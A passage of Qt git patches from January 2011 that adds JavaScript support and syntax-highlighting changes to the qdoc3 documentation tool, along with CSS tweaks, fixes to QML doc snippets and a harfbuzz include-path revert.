QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } -- cgit v0.12 From 41f93881ad51d21aece16d8c1c272c0ff3246db8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:18:30 +0100 Subject: Added a \js command for JavaScript code. --- tools/qdoc3/doc.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 774f8ba..140545a 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -96,6 +96,7 @@ enum { #ifdef QDOC_QML CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT, CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT, + CMD_JS, CMD_ENDJS, #endif NOT_A_CMD }; @@ -202,6 +203,8 @@ static struct { { "endqmltext", CMD_ENDQMLTEXT, 0 }, { "cpptext", CMD_CPPTEXT, 0 }, { "endcpptext", CMD_ENDCPPTEXT, 0 }, + { "js", CMD_JS, 0 }, + { "endjs", CMD_ENDJS, 0 }, #endif { 0, 0, 0 } }; @@ -557,6 +560,10 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; + case CMD_JS: + leavePara(); + append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript")))); + break; #endif case CMD_DIV: leavePara(); @@ -644,6 +651,9 @@ void DocParser::parse(const QString& source, case CMD_ENDQMLTEXT: append(Atom::EndQmlText); break; + case CMD_ENDJS: + closeCommand(cmd); + break; #endif case CMD_ENDFOOTNOTE: if (closeCommand(cmd)) { @@ -2406,6 +2416,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDQML; case CMD_QMLTEXT: return CMD_ENDQMLTEXT; + case CMD_JS: + return CMD_ENDJS; #endif case CMD_FOOTNOTE: return CMD_ENDFOOTNOTE; -- cgit v0.12 From 0418b2b540fcb0e3d76299e3df69ad600292adf9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:26:10 +0100 Subject: Ongoing improvements and fixes to syntax highlighting. Added an atom for JavaScript code. Fixed example file quoting to use the appropriate atom for each file. Changed C++ code marking to mark up classes as types. Fixed C++ quoting bug that caused the last character to be lost. Fixed indentation of code to not insert spaces inside elements. Documented the change in the meaning of the \c command. Simplified the use of CSS classes in the HTML output. --- tools/qdoc3/atom.h | 36 ++++++++++++++++++++---------------- tools/qdoc3/codemarker.h | 2 ++ tools/qdoc3/cppcodemarker.cpp | 35 ++++++++++++++++++++++++++--------- tools/qdoc3/cppcodemarker.h | 1 + tools/qdoc3/generator.cpp | 28 ++++++++++------------------ tools/qdoc3/htmlgenerator.cpp | 23 +++++++++++++++++------ tools/qdoc3/jscodemarker.cpp | 8 ++++++++ tools/qdoc3/jscodemarker.h | 1 + tools/qdoc3/plaincodemarker.cpp | 5 +++++ tools/qdoc3/plaincodemarker.h | 1 + tools/qdoc3/qmlcodemarker.cpp | 8 ++++++++ tools/qdoc3/qmlcodemarker.h | 1 + 12 files changed, 100 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index a20e057..ab4ee44 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -78,9 +78,9 @@ class Atom EndQmlText, #endif FootnoteLeft, - FootnoteRight, + FootnoteRight, // 20 FormatElse, - FormatEndif, // 20 + FormatEndif, FormatIf, FormattingLeft, FormattingRight, @@ -88,19 +88,23 @@ class Atom GuidLink, Image, ImageText, - InlineImage, + InlineImage, // 30 +#ifdef QDOC_QML + JavaScript, + EndJavaScript, +#endif LegaleseLeft, - LegaleseRight, // 30 + LegaleseRight, LineBreak, Link, LinkNode, ListLeft, ListItemNumber, - ListTagLeft, // 36 - ListTagRight, // 37 - ListItemLeft, // 38 - ListItemRight, // 39 - ListRight, // 40 + ListTagLeft, // 40 + ListTagRight, // 41 + ListItemLeft, // 42 + ListItemRight, // 43 + ListRight, // 44 Nop, ParaLeft, ParaRight, @@ -108,30 +112,30 @@ class Atom Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, // 50 QuotationRight, RawString, - SectionLeft, // 49 + SectionLeft, // 53 SectionRight, SectionHeadingLeft, SectionHeadingRight, SidebarLeft, SidebarRight, SinceList, - SnippetCommand, + SnippetCommand, // 60 SnippetIdentifier, SnippetLocation, - String, // 59 - TableLeft, // 60 + String, // 63 + TableLeft, // 64 TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, TableRowRight, - TableItemLeft, + TableItemLeft, // 70 TableItemRight, TableOfContents, - Target, // 69 + Target, // 73 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index e643082..6c45581 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -48,6 +48,7 @@ #include +#include "atom.h" #include "node.h" QT_BEGIN_NAMESPACE @@ -121,6 +122,7 @@ class CodeMarker virtual bool recognizeCode(const QString& code) = 0; virtual bool recognizeExtension(const QString& ext) = 0; virtual bool recognizeLanguage(const QString& lang) = 0; + virtual Atom::Type atomType() const = 0; virtual QString plainName(const Node *node) = 0; virtual QString plainFullName(const Node *node, const Node *relative = 0) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 2b7db62..9b696a7 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -103,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang) } /*! + Returns the type of atom used to represent C++ code in the documentation. +*/ +Atom::Type CppCodeMarker::atomType() const +{ + return Atom::Code; +} + +/*! Returns the \a node name, or "()" if \a node is a Node::Function node. */ @@ -417,7 +425,6 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } - Location location; return code; } @@ -937,6 +944,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, while (ch != EOF) { int second = i; QString tag; + bool target = false; if (isalpha(ch) || ch == '_') { QString ident; @@ -946,9 +954,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, } while (isalnum(ch) || ch == '_'); if (classRegExp.exactMatch(ident)) { - tag = QLatin1String("class"); + tag = QLatin1String("type"); } else if (functionRegExp.exactMatch(ident)) { - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } else if (types.contains(ident)) { tag = QLatin1String("type"); } else if (keywords.contains(ident)) { @@ -956,7 +965,8 @@ QString CppCodeMarker::addMarkUp(const QString &in, } else if (braceDepth == 0 && parenDepth == 0) { if (QString(code.unicode() + i - 1, code.length() - (i - 1)) .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } } else if (isdigit(ch)) { do { @@ -1074,13 +1084,20 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } - if (!tag.isEmpty()) - out += QLatin1String("<@") + tag + QLatin1String(">"); - + QString text; if (tag.isEmpty() && i == code.length()) - out += protect(code.mid(second - 1, i - second + 1)); + text = code.mid(second - 1, i - second + 1); else - out += protect(code.mid(second - 1, i - second)); + text = code.mid(second - 1, i - second); + + if (!tag.isEmpty()) { + out += QLatin1String("<@") + tag; + if (target) + out += QLatin1String(" target=\"") + text + QLatin1String("()\""); + out += QLatin1String(">"); + } + + out += protect(text); if (!tag.isEmpty()) out += QLatin1String(""); diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index bb307f9..8206dbe 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -59,6 +59,7 @@ class CppCodeMarker : public CodeMarker virtual bool recognizeCode(const QString& code); virtual bool recognizeExtension(const QString& ext); virtual bool recognizeLanguage(const QString& lang); + virtual Atom::Type atomType() const; virtual QString plainName(const Node *node); virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString& code, diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 65b9a09..62ec966 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -524,8 +524,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Quoter quoter; Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); - text << Atom(Atom::Code, code); - generateText(text, fake, CodeMarker::markerForFileName(fake->name())); + CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name()); + text << Atom(codeMarker->atomType(), code); + generateText(text, fake, codeMarker); } } } @@ -683,26 +684,17 @@ QString Generator::indent(int level, const QString& markedCode) int i = 0; while (i < (int) markedCode.length()) { - if (markedCode.at(i) == QLatin1Char('<')) { - while (i < (int) markedCode.length()) { - t += markedCode.at(i++); - if (markedCode.at(i - 1) == QLatin1Char('>')) - break; - } + if (markedCode.at(i) == QLatin1Char('\n')) { + column = 0; } else { - if (markedCode.at(i) == QLatin1Char('\n')) { - column = 0; - } - else { - if (column == 0) { - for (int j = 0; j < level; j++) - t += QLatin1Char(' '); - } - column++; + if (column == 0) { + for (int j = 0; j < level; j++) + t += QLatin1Char(' '); } - t += markedCode.at(i++); + column++; } + t += markedCode.at(i++); } return t; } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index a3156c3..4385dfd 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -467,6 +467,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

\n"; break; case Atom::C: + // This may at one time have been used to mark up C++ code but it is + // now widely used to write teletype text. As a result, text marked + // with the \c command is not passed to a code marker. out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE]; if (inLink) { out() << protectEnc(plainCode(atom->string())); @@ -477,7 +480,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; case Atom::Code: - out() << "
"
+        out() << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "
\n"; @@ -489,10 +492,16 @@ int HtmlGenerator::generateAtom(const Atom *atom, marker,relative)) << "
\n"; break; + case Atom::JavaScript: + out() << "
"
+              << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
+                                                 marker,relative))
+              << "
\n"; + break; #endif case Atom::CodeNew: out() << "

you can rewrite it as

\n" - << "
"
+              << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "
\n"; @@ -501,7 +510,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

For example, if you have code like

\n"; // fallthrough case Atom::CodeBad: - out() << "
"
+        out() << "
"
               << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
               << "
\n"; break; @@ -1773,7 +1782,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
"
+        out() << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,
                                                         marker->markedUpIncludes(inner->includes())),
                                                  marker,inner))
@@ -2757,8 +2766,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()"
     bool done = false;
     for (int i = 0, srcSize = src.size(); i < srcSize;) {
-        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
-            if (alignNames && !done) {// && (i != 0)) Why was this here?
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            if (alignNames && !done) {
                 html += "";
                 done = true;
             }
@@ -2819,6 +2828,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
             if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
                 par1 = QStringRef();
                 const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
+                html += QLatin1String("");
                 if (n && n->subType() == Node::QmlBasicType) {
                     if (relative && relative->subType() == Node::QmlClass)
                         addLink(linkForNode(n,relative), arg, &html);
@@ -2827,6 +2837,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                 }
                 else
                     addLink(linkForNode(n,relative), arg, &html);
+                html += QLatin1String("");
                 handled = true;
             }
             else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
index 80df0aa..5a513f7 100644
--- a/tools/qdoc3/jscodemarker.cpp
+++ b/tools/qdoc3/jscodemarker.cpp
@@ -101,6 +101,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language)
     return language == "JavaScript" || language == "ECMAScript";
 }
 
+/*!
+  Returns the type of atom used to represent JavaScript code in the documentation.
+*/
+Atom::Type JsCodeMarker::atomType() const
+{
+    return Atom::JavaScript;
+}
+
 QString JsCodeMarker::markedUpCode(const QString &code,
                                     const Node *relative,
                                     const Location &location)
diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h
index 6d85063..9b55819 100644
--- a/tools/qdoc3/jscodemarker.h
+++ b/tools/qdoc3/jscodemarker.h
@@ -59,6 +59,7 @@ public:
     virtual bool recognizeCode(const QString &code);
     virtual bool recognizeExtension(const QString &ext);
     virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
 
     virtual QString markedUpCode(const QString &code, 
                                  const Node *relative, 
diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
index 9819593..e7926da 100644
--- a/tools/qdoc3/plaincodemarker.cpp
+++ b/tools/qdoc3/plaincodemarker.cpp
@@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
     return false;
 }
 
+Atom::Type PlainCodeMarker::atomType() const
+{
+    return Atom::Code;
+}
+
 QString PlainCodeMarker::plainName( const Node * /* node */ )
 {
     return "";
diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
index 1c469a0..34fa63d 100644
--- a/tools/qdoc3/plaincodemarker.h
+++ b/tools/qdoc3/plaincodemarker.h
@@ -59,6 +59,7 @@ public:
     bool recognizeCode( const QString& code );
     bool recognizeExtension( const QString& ext );
     bool recognizeLanguage( const QString& lang );
+    Atom::Type atomType() const;
     QString plainName( const Node *node );
     QString plainFullName( const Node *node, const Node *relative );
     QString markedUpCode( const QString& code, const Node *relative, const Location &location );
diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
index e0ba0e1..a7dc5a0 100644
--- a/tools/qdoc3/qmlcodemarker.cpp
+++ b/tools/qdoc3/qmlcodemarker.cpp
@@ -103,6 +103,14 @@ bool QmlCodeMarker::recognizeLanguage(const QString &language)
 }
 
 /*!
+  Returns the type of atom used to represent QML code in the documentation.
+*/
+Atom::Type QmlCodeMarker::atomType() const
+{
+    return Atom::Qml;
+}
+
+/*!
   Returns the name of the \a node. Method names include are returned with a
   trailing set of parentheses.
  */
diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
index b1d365c..1665b16 100644
--- a/tools/qdoc3/qmlcodemarker.h
+++ b/tools/qdoc3/qmlcodemarker.h
@@ -60,6 +60,7 @@ public:
     virtual bool recognizeCode(const QString &code);
     virtual bool recognizeExtension(const QString &ext);
     virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
     virtual QString plainName(const Node *node);
     virtual QString plainFullName(const Node *node, const Node *relative);
     virtual QString markedUpCode(const QString &code, 
-- 
cgit v0.12


From fcb5e19d892ccff208590b8a37171ef6894fc694 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 17:26:47 +0100
Subject: Added a style for types in quoted code.

---
 doc/src/template/style/offline.css | 4 ++++
 doc/src/template/style/style.css   | 4 ++++
 2 files changed, 8 insertions(+)

diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
index 4a10d0a..2aafe56 100644
--- a/doc/src/template/style/offline.css
+++ b/doc/src/template/style/offline.css
@@ -185,6 +185,10 @@
     {
         color: black
     }
+    span.type
+    {
+        font-weight: bold
+    }
 /* end basic elements */
 
 /* font style elements */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index 451d6bf..fbad0fd 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -210,6 +210,10 @@
     {
         color: black
     }
+    span.type
+    {
+        font-weight: bold
+    }
 /* end basic elements */
 
 /* font style elements */
-- 
cgit v0.12


From d1c54182a317f29240a607de044c01e7e1dd0e8f Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 17:27:33 +0100
Subject: Doc: Fixed invalid QML snippets and marked up JavaScript correctly.

---
 src/declarative/graphicsitems/qdeclarativeitem.cpp | 97 ++++++++++++++--------
 1 file changed, 64 insertions(+), 33 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index 24d9b03..2989b75 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
 
     This example forwards key events to two lists:
     \qml
-    ListView { id: list1 ... }
-    ListView { id: list2 ... }
-    Keys.forwardTo: [list1, list2]
-    focus: true
+    Item {
+        ListView {
+            id: list1
+            // ...
+        }
+        ListView {
+            id: list2
+            // ...
+        }
+        Keys.forwardTo: [list1, list2]
+        focus: true
+    }
     \endqml
 */
 
@@ -1341,8 +1349,13 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec
     refer to the item. For example:
 
     \qml
-    Text { id: myText; ... }
-    Text { text: myText.text }
+    Item {
+        Text {
+            id: myText
+            // ...
+        }
+        Text { text: myText.text }
+    }
     \endqml
 
     The identifier is available throughout to the \l {components}{component}
@@ -2144,13 +2157,16 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   \o \image declarative-anchors_example.png
   \o Text anchored to Image, horizontally centered and vertically below, with a margin.
   \qml
-  Image { id: pic; ... }
+  Image {
+      id: pic
+      // ...
+  }
   Text {
       id: label
       anchors.horizontalCenter: pic.horizontalCenter
       anchors.top: pic.bottom
       anchors.topMargin: 5
-      ...
+      // ...
   }
   \endqml
   \row
@@ -2160,12 +2176,15 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   property of both defaults to 0.
 
   \qml
-    Image { id: pic; ... }
+    Image {
+        id: pic
+        // ...
+    }
     Text {
         id: label
         anchors.left: pic.right
         anchors.leftMargin: 5
-        ...
+        // ...
     }
   \endqml
   \endtable
@@ -2480,11 +2499,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::resources()
 
   \qml
   Item {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // ...
+          },
+          State {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2502,11 +2525,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::states()
 
   \qml
   Item {
-    transitions: [
-      Transition { ... },
-      Transition { ... }
-      ...
-    ]
+      transitions: [
+          Transition {
+              // ...
+          },
+          Transition {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2531,11 +2558,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
 
   \qml
   Item {
-    filter: [
-      Blur { ... },
-      Reflection { ... }
-      ...
-    ]
+      filter: [
+          Blur {
+              // ...
+          },
+          Reflection {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 */
@@ -2570,14 +2601,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the item is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return an
-- 
cgit v0.12


From de155ecd2b16d9356a19baeb875539a20b36a17c Mon Sep 17 00:00:00 2001
From: Oswald Buddenhagen 
Date: Thu, 20 Jan 2011 18:26:43 +0100
Subject: Revert "don't include harfbuzz where we don't use it"

harfbuzz is indirectly included via qharfbuzz_p.h, which is included by
qtextengine_p.h, which in turn is included by qfontengine_p.h and
qpaintbuffer_p.h.

This reverts commit 6551a2933126cc86ac4c1e5265e967100d240fb0.
---
 src/declarative/declarative.pro             | 2 ++
 src/opengl/opengl.pro                       | 2 ++
 src/openvg/openvg.pro                       | 2 ++
 src/plugins/graphicssystems/trace/trace.pro | 1 +
 src/svg/svg.pro                             | 2 ++
 5 files changed, 9 insertions(+)

diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
index d2c035c..1ad888b 100644
--- a/src/declarative/declarative.pro
+++ b/src/declarative/declarative.pro
@@ -30,3 +30,5 @@ symbian: {
 }
 
 DEFINES += QT_NO_OPENTYPE
+INCLUDEPATH += ../3rdparty/harfbuzz/src
+
diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
index 45cb750..0e82467 100644
--- a/src/opengl/opengl.pro
+++ b/src/opengl/opengl.pro
@@ -156,3 +156,5 @@ symbian {
 
     symbian:TARGET.UID3 = 0x2002131A
 }
+
+INCLUDEPATH += ../3rdparty/harfbuzz/src
diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
index 619646f..c05af90 100644
--- a/src/openvg/openvg.pro
+++ b/src/openvg/openvg.pro
@@ -60,3 +60,5 @@ contains(QT_CONFIG, openvg_on_opengl) {
     !isEmpty(QMAKE_LIBDIR_OPENGL): LIBS_PRIVATE += -L$$QMAKE_LIBDIR_OPENGL
     !isEmpty(QMAKE_LIBS_OPENGL): LIBS_PRIVATE += $$QMAKE_LIBS_OPENGL
 }
+
+INCLUDEPATH += ../3rdparty/harfbuzz/src
diff --git a/src/plugins/graphicssystems/trace/trace.pro b/src/plugins/graphicssystems/trace/trace.pro
index e57b015..07472e2 100644
--- a/src/plugins/graphicssystems/trace/trace.pro
+++ b/src/plugins/graphicssystems/trace/trace.pro
@@ -10,3 +10,4 @@ SOURCES = main.cpp qgraphicssystem_trace.cpp
 
 target.path += $$[QT_INSTALL_PLUGINS]/graphicssystems
 INSTALLS += target
+INCLUDEPATH += ../../../3rdparty/harfbuzz/src
diff --git a/src/svg/svg.pro b/src/svg/svg.pro
index 4cd8b8b..7b5251a 100644
--- a/src/svg/svg.pro
+++ b/src/svg/svg.pro
@@ -38,6 +38,8 @@ SOURCES += \
         qgraphicssvgitem.cpp    \
         qsvggenerator.cpp
 
+INCLUDEPATH += ../3rdparty/harfbuzz/src
+
 symbian:TARGET.UID3=0x2001B2E2
 
 include(../3rdparty/zlib_dependency.pri)
-- 
cgit v0.12


From e7e95bf64a4e513dd423acc38be615501ef76eac Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:35:51 +0100
Subject: Doc: Ensured that text in tables is not too large.

---
 doc/src/template/style/offline.css | 1 -
 1 file changed, 1 deletion(-)

diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
index 2aafe56..f5eb1c0 100644
--- a/doc/src/template/style/offline.css
+++ b/doc/src/template/style/offline.css
@@ -111,7 +111,6 @@
         background-color: #F6F6F6;
         border: 1px solid #E6E6E6;
         border-collapse: separate;
-        font-size: 110%;
         margin-bottom: 2.5em;
     }
     pre {
-- 
cgit v0.12


From 92e0bfee7efb1505dbff6860f925445214fc7a54 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:39:20 +0100
Subject: Enabled syntax highlighting by default.

Removed the linksinmarkup configuration option because it was not
introduced in all relevant places.
---
 tools/qdoc3/codemarker.cpp    |  8 ++------
 tools/qdoc3/codemarker.h      |  2 --
 tools/qdoc3/config.h          |  1 -
 tools/qdoc3/htmlgenerator.cpp | 42 ++++++++++++++++++------------------------
 tools/qdoc3/htmlgenerator.h   |  1 -
 tools/qdoc3/main.cpp          |  1 -
 6 files changed, 20 insertions(+), 35 deletions(-)

diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
index 89933d3..9047b6e 100644
--- a/tools/qdoc3/codemarker.cpp
+++ b/tools/qdoc3/codemarker.cpp
@@ -59,7 +59,6 @@ QList CodeMarker::markers;
   been read.
  */
 CodeMarker::CodeMarker()
-    : linksInMarkup(false)
 {
     markers.prepend(this);
 }
@@ -74,14 +73,11 @@ CodeMarker::~CodeMarker()
 }
 
 /*!
-  The only thing a code market initializes is its \e{linksInMarkup}
-  flag. The \e{linksInMarkup} flag indicates whether links are created for
-  names that have corresponding entries in the API documentation.
-  It is turned off by default. 
+  A code market performs no initialization by default. Marker-specific
+  initialization is performed in subclasses.
  */
 void CodeMarker::initializeMarker(const Config &config)
 {
-    linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP));
 }
 
 /*!
diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
index 6c45581..ed44395 100644
--- a/tools/qdoc3/codemarker.h
+++ b/tools/qdoc3/codemarker.h
@@ -184,8 +184,6 @@ class CodeMarker
  private:
     QString macName(const Node *parent, const QString &name = QString());
 
-    bool linksInMarkup;
-
     static QString defaultLang;
     static QList markers;
 };
diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
index 2dd7d50..54c7dab 100644
--- a/tools/qdoc3/config.h
+++ b/tools/qdoc3/config.h
@@ -141,7 +141,6 @@ class Config
 #define CONFIG_IMAGES                   "images"
 #define CONFIG_INDEXES                  "indexes"
 #define CONFIG_LANGUAGE                 "language"
-#define CONFIG_LINKSINMARKUP            "linksinmarkup"
 #define CONFIG_MACRO                    "macro"
 #define CONFIG_NATURALLANGUAGE          "naturallanguage"
 #define CONFIG_OBSOLETELINKS            "obsoletelinks"
diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
index 4385dfd..10802b2 100644
--- a/tools/qdoc3/htmlgenerator.cpp
+++ b/tools/qdoc3/htmlgenerator.cpp
@@ -219,7 +219,6 @@ HtmlGenerator::HtmlGenerator()
       threeColumnEnumValueTable(true),
       funcLeftParen("\\S(\\()"),
       myTree(0),
-      syntaxHighlighting(false),
       obsoleteLinks(false)
 {
 }
@@ -320,8 +319,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
         ++edition;
     }
 
-    syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING);
-
     codeIndent = config.getInt(CONFIG_CODEINDENT);
 
     helpProjectWriter = new HelpProjectWriter(config,
@@ -2790,31 +2787,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     }
 
 
-    if (syntaxHighlighting) {
-        // is this block ever used at all?
-        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
-        src = html;
-        html = QString();
-        for (int i = 0, srcSize = src.size(); i < srcSize;) {
-            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
-                i += 2;
-                if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
-                    const Node* n = marker->resolveTarget(par1.toString(),
-                                                          myTree,
-                                                          relative);
-                    QString link = linkForNode(n, relative);
-                    addLink(link, arg, &html);
-                    par1 = QStringRef();
-                }
-                else {
-                    html += charLangle;
-                    html += charAt;
-                }
+    // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
+    src = html;
+    html = QString();
+    for (int i = 0, srcSize = src.size(); i < srcSize;) {
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            i += 2;
+            if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
+                const Node* n = marker->resolveTarget(par1.toString(),
+                                                      myTree,
+                                                      relative);
+                QString link = linkForNode(n, relative);
+                addLink(link, arg, &html);
+                par1 = QStringRef();
             }
             else {
-                html += src.at(i++);
+                html += charLangle;
+                html += charAt;
             }
         }
+        else {
+            html += src.at(i++);
+        }
     }
 
     // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags
diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
index 6701184..500780f 100644
--- a/tools/qdoc3/htmlgenerator.h
+++ b/tools/qdoc3/htmlgenerator.h
@@ -279,7 +279,6 @@ class HtmlGenerator : public PageGenerator
     QStringList stylesheets;
     QStringList customHeadElements;
     const Tree *myTree;
-    bool syntaxHighlighting;
     bool obsoleteLinks;
     QMap moduleClassMap;
     QMap moduleNamespaceMap;
diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
index 8193d2d..5b50a2a 100644
--- a/tools/qdoc3/main.cpp
+++ b/tools/qdoc3/main.cpp
@@ -148,7 +148,6 @@ static void processQdocconfFile(const QString &fileName)
 	++i;
     }
     config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
-    config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false"));
     config.setStringList(CONFIG_SHOWINTERNAL,
                          QStringList(showInternal ? "true" : "false"));
     config.setStringList(CONFIG_OBSOLETELINKS,
-- 
cgit v0.12


